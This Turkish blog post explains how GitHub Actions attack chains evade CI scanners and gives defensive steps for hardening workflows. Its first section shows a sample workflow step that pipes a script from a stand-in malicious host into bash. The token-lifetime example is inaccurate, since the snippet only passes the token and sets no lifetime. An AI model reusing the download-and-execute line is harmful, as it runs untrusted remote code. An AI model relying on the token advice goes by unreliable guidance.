GitHub Actions Saldırı Zincirleri: CI Güvenlik Tarayıcılarının Kaçırdığı Tehditler ve Korunma Yöntemleri

CI/CD pipeline'larınızda GitHub Actions saldırı zincirlerinin nasıl gizlendiğini ve geleneksel güvenlik tarayıcılarının neden bu tehditleri kaçırdığını keşfedin. Pipeline'larınızı nasıl daha güvenli hale getireceğinize dair adım adım rehber.

I
ITWISE
2 görüntülenme
GitHub Actions Saldırı Zincirleri: CI Güvenlik Tarayıcılarının Kaçırdığı Tehditler ve Korunma Yöntemleri

Giriş

CI/CD (Continuous Integration/Continuous Deployment) pipeline'ları modern yazılım geliştirme süreçlerinin vazgeçilmez bir parçası haline geldi. Özellikle GitHub Actions gibi araçlar, geliştiricilere otomatik test, derleme ve dağıtım işlemlerini kolaylaştırma konusunda büyük avantajlar sunuyor. Ancak, bu esneklik beraberinde yeni güvenlik risklerini de getiriyor. ActiveState tarafından yapılan araştırmalar, GitHub Actions saldırı zincirlerinin geleneksel CI güvenlik tarayıcılarından nasıl gizlenebildiğini ve bir tarayıcının geçmesini sağlamanın aslında güvenli bir pipeline anlamına gelmediğini ortaya koydu.

Bu makalede, GitHub Actions saldırı zincirlerinin nasıl çalıştığını, neden güvenlik tarayıcılarının bu tehditleri tespit edemediğini ve pipeline'larınızı daha güvenli hale getirmek için neler yapabileceğinizi detaylı bir şekilde inceleyeceğiz.

Saldırı Zincirlerinin Temel Yapısı

GitHub Actions saldırı zincirleri genellikle aşağıdaki adımlardan oluşur:

  1. Başlangıç Aşaması: Saldırgan, hedef pipeline'a zararlı kod enjekte etmek için bir güvenlik açığı bulur. Bu genellikle üçüncü parti eklentiler, workflow dosyaları veya repository ayarlarında yer alır.
  2. Orta Aşama: Zararlı kod, pipeline içinde çalıştırılan script'ler veya komutlar aracılığıyla sisteme yerleştirilir. Bu aşamada, saldırganın amacına bağlı olarak çeşitli saldırı vektörleri kullanılabilir.
  3. Son Aşama: Zararlı kodun çalıştırılması sonucu, saldırgan hedef sisteme erişim sağlar, veri sızdırır veya sistemde değişiklikler yapar.

Bu saldırı zincirleri, geleneksel güvenlik tarayıcıları tarafından tespit edilmesi zor olan yan kanal saldırıları veya yan etkiler kullanılarak gizlenebilir. Örneğin, saldırganlar, zararlı komutları pipeline içinde yer alan diğer görevlerle gizleyebilir veya saldırıyı yavaş yavaş gerçekleştirebilir.

Neden Geleneksel Tarayıcılar Bu Tehditleri Kaçırıyor?

Geleneksel CI güvenlik tarayıcıları genellikle aşağıdaki nedenlerden dolayı GitHub Actions saldırı zincirlerini tespit edemiyor:

  • Statik Analiz Eksikliği: Birçok tarayıcı, pipeline'ların dinamik doğasını tam olarak anlayamaz ve bu nedenle gizli saldırı zincirlerini tespit edemez.
  • Yan Etkilerin Gözden Kaçırılması: Saldırılar, pipeline içinde yer alan diğer görevlerin yan etkileri olarak gizlenebilir. Örneğin, bir komutun çıktısı başka bir görev tarafından kullanılırken zararlı kod enjekte edilebilir.
  • İçerik Kontrolünün Zayıflığı: Tarayıcılar, üçüncü parti eklentiler veya workflow dosyalarındaki içerikleri tam olarak kontrol edemez ve bu nedenle gizli saldırı vektörlerini kaçırır.

Saldırı Zincirlerini Tespit Etmek İçin Adım Adım Rehber

Aşağıda, GitHub Actions pipeline'larınızda gizli saldırı zincirlerini tespit etmek ve engellemek için izleyebileceğiniz adımları bulabilirsiniz.

1. Pipeline'larınızı Detaylı Olarak İnceleyin

  1. GitHub repository'nizdeki .github/workflows dizinini kontrol edin ve tüm workflow dosyalarını inceleyin.

    ls -la .github/workflows/
  2. Her bir workflow dosyasını açın ve jobs, steps, ve uses gibi anahtar kelimeleri arayarak potansiyel saldırı noktalarını belirleyin.

  3. Workflow dosyalarında yer alan komutları ve script'leri dikkatlice inceleyin. Örneğin, run komutları altında yer alan komutlar saldırı vektörü olarak kullanılabilir.

    - name: Run a script
      run: |
        echo "Hello World"
        curl -s https://malicious-site.com/script.sh | bash

2. Üçüncü Parti Eklentileri ve Bağımlılıkları Kontrol Edin

  1. Workflow dosyalarında kullanılan üçüncü parti eklentileri ve bağımlılıkları listeleyin.

    grep -r "uses:" .github/workflows/
  2. Bu eklentilerin güvenilir kaynaklardan geldiğinden emin olun. Örneğin, actions/checkout gibi resmi GitHub eklentileri genellikle güvenlidir, ancak üçüncü parti eklentiler riskli olabilir.

  3. Eklentilerin son güncellemelerini ve güvenlik açıklarını kontrol etmek için GitHub Advisory Database'yi kullanın.

3. Pipeline'ların Çalıştırılması Sırasında Gözlem Yapın

  1. Pipeline'larınızı çalıştırırken, her bir görevin çıktısını ve yan etkilerini dikkatlice inceleyin.

  2. Pipeline'ların çalıştırılması sırasında oluşan log'ları analiz edin. Örneğin, GITHUB_ENV veya GITHUB_OUTPUT gibi değişkenlerin nasıl kullanıldığını kontrol edin.

    steps:
      - name: Set environment variable
        run: |
          echo "MY_VAR=value" >> $GITHUB_ENV
          echo "MY_VAR is set to $MY_VAR"
    
  3. Pipeline'ların çalıştırılması sırasında oluşan ağ trafiğini izleyin. Örneğin, curl veya wget komutlarının kullanımı sırasında oluşan istekleri kontrol edin.

4. Pipeline'ları İzole Edin ve Kısıtlayın

  1. Pipeline'larınızı izole ederek, saldırıların diğer sistemlere yayılmasını engelleyin. Örneğin, her bir pipeline'ı ayrı bir container içinde çalıştırın.

    jobs:
      build:
        runs-on: ubuntu-latest
        container:
          image: ubuntu:latest
        steps:
          - uses: actions/checkout@v4
    
  2. Pipeline'ların çalıştırılması sırasında kullanılan izinleri sınırlandırın. Örneğin, read-all veya write-all gibi geniş izinleri kullanmaktan kaçının.

    permissions:
      contents: read
      packages: read
    
  3. Pipeline'ların çalıştırılması sırasında kullanılan token'ların geçerlilik süresini sınırlandırın. Örneğin, GITHUB_TOKEN'un geçerlilik süresini kısa tutun.

    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
            with:
              token: ${{ secrets.GITHUB_TOKEN }}
    

İpuçları ve Uyarılar

İpucu: Pipeline'larınızda güvenlik açıklarını tespit etmek için GitHub Advanced Security veya üçüncü parti araçlar olan Snyk, Checkov veya Trivy'yi kullanabilirsiniz. Bu araçlar, pipeline'larınızı statik ve dinamik analiz yoluyla inceleyerek gizli saldırı zincirlerini tespit edebilir.

Uyarı: Pipeline'larınızda üçüncü parti eklentileri kullanırken dikkatli olun. Bu eklentiler, saldırganlar tarafından hedef alınabilecek potansiyel güvenlik açıkları barındırabilir. Eklentileri kullanmadan önce güvenilir kaynaklardan geldiğinden ve düzenli olarak güncellendiğinden emin olun.

Uyarı: Pipeline'larınızda kullanılan komutları ve script'leri dikkatlice inceleyin. Örneğin, curl veya wget komutları kullanırken, komutların çıktısını doğrudan çalıştırmaktan kaçının. Bunun yerine, komutun çıktısını bir dosyaya kaydedin ve dosyayı inceleyin.

Sonuç

GitHub Actions saldırı zincirleri, modern CI/CD pipeline'larının güvenliğini tehdit eden ciddi bir risk oluşturuyor. Geleneksel güvenlik tarayıcıları bu tehditleri tespit etmekte yetersiz kalabiliyor, ancak pipeline'larınızı detaylı bir şekilde inceleyerek ve güvenlik en iyi uygulamalarını uygulayarak bu riskleri minimize edebilirsiniz. Pipeline'larınızı izole edin, üçüncü parti eklentileri dikkatlice kontrol edin ve pipeline'ların çalıştırılması sırasında oluşan log'ları ve yan etkileri analiz edin. Bu adımları izleyerek, CI/CD pipeline'larınızı daha güvenli hale getirebilir ve saldırı zincirlerinin hedefi olmaktan kaçınabilirsiniz.

Ek Kaynaklar